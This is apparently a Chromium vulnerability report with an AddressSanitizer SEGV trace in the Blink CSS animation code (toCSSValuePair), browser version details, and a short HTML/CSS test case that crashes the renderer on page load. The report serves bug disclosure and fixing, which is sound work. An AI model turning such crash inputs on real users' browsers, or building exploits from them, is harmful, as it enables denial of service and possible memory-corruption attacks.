VULNERABILITY DETAILS
ASSERTION FAILED: value.isValuePair()
../../third_party/WebKit/Source/core/css/CSSValuePair.h(88) : const blink::CSSValuePair &blink::toCSSValuePair(const blink::CSSValue &)
1   0x55a76b99adc6
2   0x55a76bc891ad
3   0x55a76b9983fb
4   0x55a76b97fc7a
5   0x55a76b982d61
6   0x55a76b9858b5
7   0x55a76add9691
8   0x55a76add1c50
9   0x55a76adcb6e4
10  0x55a769e88880
11  0x55a769e8cf6e
12  0x55a769e7b552
13  0x55a76b1bac12
14  0x55a76b1b6eeb
15  0x55a76b1b554c
16  0x55a76b6d05b5
17  0x55a7687126e1
18  0x55a771346103
19  0x55a77443bac0
20  0x55a774471c74
21  0x55a762abffb2
22  0x55a776b240c5
23  0x55a776b1fa74
24  0x55a776b264f8
25  0x55a762abffb2
26  0x55a762942926
27  0x55a762943720
28  0x55a762944d5b
29  0x55a76294ee9e
30  0x55a7629b20ba
31  0x55a770fefd02
ASAN:DEADLYSIGNAL
=================================================================
==27466==ERROR: AddressSanitizer: SEGV on unknown address 0x00009f7537dd (pc 0x55a76b99adc6 bp 0x7fffe868d930 sp 0x7fffe868d920 T0)
==27466==The signal is caused by a READ memory access.
    #0 0x55a76b99adc5 in toCSSValuePair third_party/WebKit/Source/core/css/CSSValuePair.h:88:1
    #1 0x55a76b99adc5 in blink::CSSLengthPairInterpolationType::maybeConvertValue(blink::CSSValue const&, blink::StyleResolverState const&, WTF::Vector<std::__1::unique_ptr<blink::InterpolationType::ConversionChecker, std::__1::default_delete<blink::InterpolationType::ConversionChecker> >, 0ul, WTF::PartitionAllocator>&) const third_party/WebKit/Source/core/animation/CSSLengthPairInterpolationType.h:24
    #2 0x55a76bc891ac in blink::CSSInterpolationType::maybeConvertSingle(blink::Keyframe::PropertySpecificKeyframe const&, blink::InterpolationEnvironment const&, blink::InterpolationValue const&, WTF::Vector<std::__1::unique_ptr<blink::InterpolationType::ConversionChecker, std::__1::default_delete<blink::InterpolationType::ConversionChecker> >, 0ul, WTF::PartitionAllocator>&) const third_party/WebKit/Source/core/animation/CSSInterpolationType.cpp:64:12
    #3 0x55a76b9983fa in blink::InterpolationType::maybeConvertPairwise(blink::Keyframe::PropertySpecificKeyframe const&, blink::Keyframe::PropertySpecificKeyframe const&, blink::InterpolationEnvironment const&, blink::InterpolationValue const&, WTF::Vector<std::__1::unique_ptr<blink::InterpolationType::ConversionChecker, std::__1::default_delete<blink::InterpolationType::ConversionChecker> >, 0ul, WTF::PartitionAllocator>&) const third_party/WebKit/Source/core/animation/InterpolationType.h:57:34
    #4 0x55a76b97fc79 in blink::InvalidatableInterpolation::maybeConvertPairwise(blink::InterpolationEnvironment const&, blink::UnderlyingValueOwner const&) const third_party/WebKit/Source/core/animation/InvalidatableInterpolation.cpp:35:64
    #5 0x55a76b982d60 in blink::InvalidatableInterpolation::ensureValidInterpolation(blink::InterpolationEnvironment const&, blink::UnderlyingValueOwner const&) const third_party/WebKit/Source/core/animation/InvalidatableInterpolation.cpp:129:78
    #6 0x55a76b9858b4 in blink::InvalidatableInterpolation::applyStack(WTF::Vector<WTF::RefPtr<blink::Interpolation>, 1ul, WTF::PartitionAllocator> const&, blink::InterpolationEnvironment&) third_party/WebKit/Source/core/animation/InvalidatableInterpolation.cpp:196:76
    #7 0x55a76add9690 in void blink::StyleResolver::applyAnimatedProperties<(blink::CSSPropertyPriority)2>(blink::StyleResolverState&, WTF::HashMap<blink::PropertyHandle, WTF::Vector<WTF::RefPtr<blink::Interpolation>, 1ul, WTF::PartitionAllocator>, WTF::DefaultHash<blink::PropertyHandle>::Hash, WTF::HashTraits<blink::PropertyHandle>, WTF::HashTraits<WTF::Vector<WTF::RefPtr<blink::Interpolation>, 1ul, WTF::PartitionAllocator> >, WTF::PartitionAllocator> const&) third_party/WebKit/Source/core/css/resolver/StyleResolver.cpp:1182:13
    #8 0x55a76add1c4f in blink::StyleResolver::applyAnimatedProperties(blink::StyleResolverState&, blink::Element const*) third_party/WebKit/Source/core/css/resolver/StyleResolver.cpp:1143:5
    #9 0x55a76adcb6e3 in blink::StyleResolver::styleForElement(blink::Element*, blink::ComputedStyle const*, blink::StyleSharingBehavior, blink::RuleMatchingBehavior) third_party/WebKit/Source/core/css/resolver/StyleResolver.cpp:833:9
    #10 0x55a769e8887f in blink::Document::inheritHtmlAndBodyElementStyles(blink::StyleRecalcChange) third_party/WebKit/Source/core/dom/Document.cpp:1526:47
    #11 0x55a769e8cf6d in blink::Document::updateStyle() third_party/WebKit/Source/core/dom/Document.cpp:1779:9
    #12 0x55a769e7b551 in blink::Document::updateStyleAndLayoutTree() third_party/WebKit/Source/core/dom/Document.cpp:1717:5
    #13 0x55a76b1bac11 in blink::FrameView::updateStyleAndLayoutIfNeededRecursiveInternal() third_party/WebKit/Source/core/frame/FrameView.cpp:2703:26
    #14 0x55a76b1b6eea in blink::FrameView::updateStyleAndLayoutIfNeededRecursive() third_party/WebKit/Source/core/frame/FrameView.cpp:2683:5
    #15 0x55a76b1b554b in blink::FrameView::updateLifecyclePhasesInternal(blink::DocumentLifecycle::LifecycleState) third_party/WebKit/Source/core/frame/FrameView.cpp:2529:5
    #16 0x55a76b6d05b4 in blink::PageAnimator::updateAllLifecyclePhases(blink::LocalFrame&) third_party/WebKit/Source/core/page/PageAnimator.cpp:85:11
    #17 0x55a7687126e0 in blink::WebViewImpl::updateAllLifecyclePhases() third_party/WebKit/Source/web/WebViewImpl.cpp:2012:5
    #18 0x55a771346102 in content::RenderWidgetCompositor::UpdateLayerTreeHost() content/renderer/gpu/render_widget_compositor.cc:1016:14
    #19 0x55a77443babf in cc::ProxyMain::BeginMainFrame(std::__1::unique_ptr<cc::BeginMainFrameAndCommitState, std::__1::default_delete<cc::BeginMainFrameAndCommitState> >) cc/trees/proxy_main.cc:199:21
    #20 0x55a774471c73 in Invoke<base::WeakPtr<cc::ProxyMain>, std::__1::unique_ptr<cc::BeginMainFrameAndCommitState, std::__1::default_delete<cc::BeginMainFrameAndCommitState> > > base/bind_internal.h:214:12
    #21 0x55a774471c73 in MakeItSo<void (cc::ProxyMain::*const &)(std::__1::unique_ptr<cc::BeginMainFrameAndCommitState, std::__1::default_delete<cc::BeginMainFrameAndCommitState> >), base::WeakPtr<cc::ProxyMain>, std::__1::unique_ptr<cc::BeginMainFrameAndCommitState, std::__1::default_delete<cc::BeginMainFrameAndCommitState> > > base/bind_internal.h:303
    #22 0x55a774471c73 in void base::internal::Invoker<base::internal::BindState<void (cc::ProxyMain::*)(std::__1::unique_ptr<cc::BeginMainFrameAndCommitState, std::__1::default_delete<cc::BeginMainFrameAndCommitState> >), base::WeakPtr<cc::ProxyMain>, base::internal::PassedWrapper<std::__1::unique_ptr<cc::BeginMainFrameAndCommitState, std::__1::default_delete<cc::BeginMainFrameAndCommitState> > > >, void ()>::RunImpl<void (cc::ProxyMain::* const&)(std::__1::unique_ptr<cc::BeginMainFrameAndCommitState, std::__1::default_delete<cc::BeginMainFrameAndCommitState> >), std::__1::tuple<base::WeakPtr<cc::ProxyMain>, base::internal::PassedWrapper<std::__1::unique_ptr<cc::BeginMainFrameAndCommitState, std::__1::default_delete<cc::BeginMainFrameAndCommitState> > > > const&, 0ul, 1ul>(void (cc::ProxyMain::* const&)(std::__1::unique_ptr<cc::BeginMainFrameAndCommitState, std::__1::default_delete<cc::BeginMainFrameAndCommitState> >), std::__1::tuple<base::WeakPtr<cc::ProxyMain>, base::internal::PassedWrapper<std::__1::unique_ptr<cc::BeginMainFrameAndCommitState, std::__1::default_delete<cc::BeginMainFrameAndCommitState> > > > const&, base::IndexSequence<0ul, 1ul>) base/bind_internal.h:346
    #23 0x55a762abffb1 in Run base/callback.h:389:12
    #24 0x55a762abffb1 in base::debug::TaskAnnotator::RunTask(char const*, base::PendingTask const&) base/debug/task_annotator.cc:51
    #25 0x55a776b240c4 in scheduler::TaskQueueManager::ProcessTaskFromWorkQueue(scheduler::internal::WorkQueue*, scheduler::internal::TaskQueueImpl::Task*) components/scheduler/base/task_queue_manager.cc:315:19
    #26 0x55a776b1fa73 in scheduler::TaskQueueManager::DoWork(base::TimeTicks, bool) components/scheduler/base/task_queue_manager.cc:218:13
    #27 0x55a776b264f7 in Invoke<base::WeakPtr<scheduler::TaskQueueManager>, const base::TimeTicks &, const bool &> base/bind_internal.h:214:12
    #28 0x55a776b264f7 in MakeItSo<void (scheduler::TaskQueueManager::*const &)(base::TimeTicks, bool), base::WeakPtr<scheduler::TaskQueueManager>, const base::TimeTicks &, const bool &> base/bind_internal.h:303
    #29 0x55a776b264f7 in RunImpl<void (scheduler::TaskQueueManager::*const &)(base::TimeTicks, bool), const std::__1::tuple<base::WeakPtr<scheduler::TaskQueueManager>, base::TimeTicks, bool> &, 0, 1, 2> base/bind_internal.h:346
    #30 0x55a776b264f7 in base::internal::Invoker<base::internal::BindState<void (scheduler::TaskQueueManager::*)(base::TimeTicks, bool), base::WeakPtr<scheduler::TaskQueueManager>, base::TimeTicks, bool>, void ()>::Run(base::internal::BindStateBase*) base/bind_internal.h:324
    #31 0x55a762abffb1 in Run base/callback.h:389:12
    #32 0x55a762abffb1 in base::debug::TaskAnnotator::RunTask(char const*, base::PendingTask const&) base/debug/task_annotator.cc:51
    #33 0x55a762942925 in base::MessageLoop::RunTask(base::PendingTask const&) base/message_loop/message_loop.cc:494:19
    #34 0x55a76294371f in base::MessageLoop::DeferOrRunPendingTask(base::PendingTask) base/message_loop/message_loop.cc:503:5
    #35 0x55a762944d5a in base::MessageLoop::DoWork() base/message_loop/message_loop.cc:627:13
    #36 0x55a76294ee9d in base::MessagePumpDefault::Run(base::MessagePump::Delegate*) base/message_loop/message_pump_default.cc:35:31
    #37 0x55a7629b20b9 in base::RunLoop::Run() base/run_loop.cc:35:10
    #38 0x55a770fefd01 in content::RendererMain(content::MainFunctionParams const&) content/renderer/renderer_main.cc:198:23
    #39 0x55a7627f13f7 in content::RunZygote(content::MainFunctionParams const&, content::ContentMainDelegate*) content/app/content_main_runner.cc:343:14
    #40 0x55a7627f5aa5 in content::ContentMainRunnerImpl::Run() content/app/content_main_runner.cc:785:12
    #41 0x55a7627f018d in content::ContentMain(content::ContentMainParams const&) content/app/content_main.cc:20:28
    #42 0x55a76170aea5 in ChromeMain chrome/app/chrome_main.cc:84:12
    #43 0x7f9455f34740 in __libc_start_main (/usr/lib/libc.so.6+0x20740)

AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV third_party/WebKit/Source/core/css/CSSValuePair.h:88:1 in toCSSValuePair
==27466==ABORTING

VERSION
Chromium: 54.0.2795.0 (Developer Build) (64-bit) (asan-linux-release-404895)
Chrome:	53.0.2785.8 (Official Build) dev-m (32-bit)
Chrome:	54.0.2794.0 (Official Build) canary (32-bit)

REPRODUCTION CASE

<style>
	@keyframes AAAA {99% { border-radius: var(--VVVV) }}
</style>
<script>
function crash() {
	document.body.style.cssText = 'animation: AAAA +99.99s 9999'
}
</script>
<body onload='crash()'>